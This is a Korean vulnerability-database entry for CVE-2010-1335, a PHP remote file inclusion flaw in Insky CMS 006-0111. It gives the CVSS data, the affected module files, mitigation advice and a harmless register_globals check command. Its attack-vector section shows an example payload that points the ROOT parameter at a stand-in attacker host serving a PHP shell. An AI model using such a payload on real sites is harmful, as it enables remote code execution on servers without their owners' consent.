🔍 CVE-2010-1335

6.8
CVSS Score
MEDIUM
2010-04-09
2026-04-29 01:13
✅ 완료

🇰🇷 한글 설명

Insky CMS 006-0111의 register_globals 활성화 시 ROOT 파라미터를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 insky/modules/ 디렉토리의 여러 PHP 파일(city.get.php, message.send.php, pages.add.php 등)에 악의적 파일을 삽입하여 임의의 PHP 코드를 실행할 수 있습니다.

💡 쉬운 설명

웹사이트가 사용자가 입력한 파일 주소를 검증 없이 그대로 로드하는 취약점입니다. 공격자는 악성 파일의 경로를 전달하여 웹서버가 이를 실행하도록 강제할 수 있습니다.

🇺🇸 원문 (English)

Multiple PHP remote file inclusion vulnerabilities in Insky CMS 006-0111, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the ROOT parameter to (1) city.get/city.get.php, (2) city.get/index.php, (3) message2.send/message.send.php, (4) message.send/message.send.php, and (5) pages.add/pages.add.php in insky/modules/. NOTE: some of these details are obtained from third party information.

📍 영향받는 시스템

Insky CMS 버전 006-0111 (PHP register_globals 활성화된 환경)

⚔️ 공격 벡터

ROOT 파라미터에 원격 PHP 파일 URL 삽입 (예: ?ROOT=http://attacker.com/shell.php)

🛡️ 대응 방법

Insky CMS를 최신 버전으로 업그레이드하고 PHP php.ini에서 register_globals = Off로 설정

🔧 검증 코드

VULNERABLE이 출력되면 즉시 register_globals를 비활성화해야 하며, SAFE가 출력되면 이 취약점으로부터는 보호됨

Shell / Script
php -r "echo (ini_get('register_globals') ? 'VULNERABLE: register_globals=On' : 'SAFE: register_globals=Off');" 2>/dev/null

📊 CVSS Vector String

CVSS Vector
AV:N/AC:M/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP